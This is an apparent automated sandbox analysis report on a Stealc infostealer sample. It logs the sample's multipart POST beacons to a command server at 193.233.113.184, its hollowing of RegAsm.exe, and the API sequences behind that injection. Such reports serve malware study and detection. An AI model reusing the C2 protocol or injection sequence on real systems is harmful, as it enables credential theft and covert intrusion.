Sep 24, 2024 21:30:15.645538092 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:15.656333923 CEST	474	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA Host: 193.233.113.184 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 66 61 62 32 33 61 36 63 34 62 66 62 64 33 63 36 63 64 35 64 62 34 38 32 66 65 30 37 35 38 65 66 36 62 36 39 32 33 35 62 61 33 37 61 66 65 30 34 34 39 30 64 37 64 31 65 31 62 35 33 36 62 64 64 37 64 64 31 35 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"8efab23a6c4bfbd3c6cd5db482fe0758ef6b69235ba37afe04490d7d1e1b536bdd7dd152------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDAAEHDHIIJKECBKEBA--
Sep 24, 2024 21:30:16.852557898 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=77 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	15:29:58
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5e0000
File size:	324'608 bytes
MD5 hash:	A1C72950A28756D4F53171395E10AF13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1707166083.0000000003945000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:29:58
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:30:01
Start date:	24/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x450000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:30:01
Start date:	24/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	29.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	32%
Total number of Nodes:	25
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0294212D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0294209F,0294208F), ref: 0294229C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 029422AF
Wow64GetThreadContext.KERNEL32(0000008C,00000000), ref: 029422CD
ReadProcessMemory.KERNELBASE(00000094,?,029420E3,00000004,00000000), ref: 029422F1
VirtualAllocEx.KERNELBASE(00000094,?,?,00003000,00000040), ref: 0294231C
TerminateProcess.KERNELBASE(00000094,00000000), ref: 0294233B
WriteProcessMemory.KERNELBASE(00000094,00000000,?,?,00000000,?), ref: 02942374
WriteProcessMemory.KERNELBASE(00000094,00400000,?,?,00000000,?,00000028), ref: 029423BF
WriteProcessMemory.KERNELBASE(00000094,?,?,00000004,00000000), ref: 029423FD
Wow64SetThreadContext.KERNEL32(0000008C,04F40000), ref: 02942439
ResumeThread.KERNELBASE(0000008C), ref: 02942448

Strings

ress, xrefs: 029421B7
GetP, xrefs: 029421AF
TerminateProcess, xrefs: 0294232B
ReadProcessMemory, xrefs: 0294221A
WriteProcessMemory, xrefs: 02942240
VirtualAllocEx, xrefs: 0294222D
aryA, xrefs: 02942173
VirtualAlloc, xrefs: 029421F4
Load, xrefs: 0294216B
ResumeThread, xrefs: 02942269
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 0294229B
GetThreadContext, xrefs: 02942207
SetThreadContext, xrefs: 02942253
CreateProcessA, xrefs: 029421E1

Memory Dump Source

Source File: 00000000.00000002.1706197357.0000000002941000.00000040.00000800.00020000.00000000.sdmp, Offset: 02941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2941000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 86313839ddb4a35af6872b989e26d2fe1d3a6cdef87f348311d954abd538755a
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: A8B1E67664024AAFDB60CF68CC80BDA77A9FF88714F158564EA0CAB341D774FA418B94

Function 02942464 Relevance: 3.0, APIs: 2, Instructions: 36
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(0000008C,04F40000), ref: 02942439
ResumeThread.KERNELBASE(0000008C), ref: 02942448

Memory Dump Source

Source File: 00000000.00000002.1706197357.0000000002941000.00000040.00000800.00020000.00000000.sdmp, Offset: 02941000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2941000_file.jbxd

Similarity

API ID: Thread$ContextResumeWow64
String ID:
API String ID: 1826235168-0
Opcode ID: 02fe6780efbc9f9794b5d8e06b45532c7e0e85433052cb3dec023b7d22304d1f
Instruction ID: d641c9eabafeb6f38b2bd4eec13ea52ce1678196c3c8b60bccf70adaa1435bf4
Opcode Fuzzy Hash: 02fe6780efbc9f9794b5d8e06b45532c7e0e85433052cb3dec023b7d22304d1f
Instruction Fuzzy Hash: 1F01AF7210D3899FC721CF68DCC8AC57BA4BF46318F5900AAE90C8F607D7365A01CB51

Function 02731279 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 02731300

Memory Dump Source

Source File: 00000000.00000002.1706132994.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: eaddaf2220cecafc251ee261ecc2a64ce6961ea3b2d40649d0e1ca1a45b15163
Instruction ID: b0a6f6f383d5542bde30ee5a9c450e82196bbca21c99ff658c681ae124e041db
Opcode Fuzzy Hash: eaddaf2220cecafc251ee261ecc2a64ce6961ea3b2d40649d0e1ca1a45b15163
Instruction Fuzzy Hash: 542132B49002599FCF10DFAAC881ADEFBF4FF48310F50842AE919A7250C734A904CBA5

Function 02731280 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 02731300

Memory Dump Source

Source File: 00000000.00000002.1706132994.0000000002730000.00000040.00000800.00020000.00000000.sdmp, Offset: 02730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2730000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 334084d51447d7aa1caf94ca974350e233d9cbc44d027167ff7928d94589e11f
Instruction ID: 723f29804898eb978f2d31a848c9dfa0b3cfed695d91d7fcf477ce135e02f958
Opcode Fuzzy Hash: 334084d51447d7aa1caf94ca974350e233d9cbc44d027167ff7928d94589e11f
Instruction Fuzzy Hash: AF2110B19002499FCB10DFAAC881ADEFBF4FF48310F50842AE919A7240C774A904CBA5

Analysis Process: RegAsm.exePID: 7420, Parent PID: 7304COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction ID: 5e1cd967cc1bd71f365b3ff5871be6e8d111942329c8327febd6a33c3aeace51
Opcode Fuzzy Hash: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction Fuzzy Hash: 5841BD79740624EBC718AFE5EC8DB987F70AB4C712BA0C062F90296190C7F9D5019B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,014EF180), ref: 004198A1
GetProcAddress.KERNEL32(74DD0000,014EF3F0), ref: 004198BA
GetProcAddress.KERNEL32(74DD0000,014EF390), ref: 004198D2
GetProcAddress.KERNEL32(74DD0000,014EF288), ref: 004198EA
GetProcAddress.KERNEL32(74DD0000,014EF198), ref: 00419903
GetProcAddress.KERNEL32(74DD0000,014F2F30), ref: 0041991B
GetProcAddress.KERNEL32(74DD0000,014F28A0), ref: 00419933
GetProcAddress.KERNEL32(74DD0000,014F2880), ref: 0041994C
GetProcAddress.KERNEL32(74DD0000,014EF1C8), ref: 00419964
GetProcAddress.KERNEL32(74DD0000,014EF1F8), ref: 0041997C
GetProcAddress.KERNEL32(74DD0000,014EF2A0), ref: 00419995
GetProcAddress.KERNEL32(74DD0000,014EF228), ref: 004199AD
GetProcAddress.KERNEL32(74DD0000,014F28E0), ref: 004199C5
GetProcAddress.KERNEL32(74DD0000,014EF3D8), ref: 004199DE
GetProcAddress.KERNEL32(74DD0000,014EF3A8), ref: 004199F6
GetProcAddress.KERNEL32(74DD0000,014F25E0), ref: 00419A0E
GetProcAddress.KERNEL32(74DD0000,014EF240), ref: 00419A27
GetProcAddress.KERNEL32(74DD0000,014EF258), ref: 00419A3F
GetProcAddress.KERNEL32(74DD0000,014F26E0), ref: 00419A57
GetProcAddress.KERNEL32(74DD0000,014EF3C0), ref: 00419A70
GetProcAddress.KERNEL32(74DD0000,014F2660), ref: 00419A88
LoadLibraryA.KERNEL32(014EF2B8,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(014EF420,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(014EF2D0,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(014ECA40,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(014FA5D0,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75A70000,014FA630), ref: 00419B02
GetProcAddress.KERNEL32(75290000,014FA618), ref: 00419B23
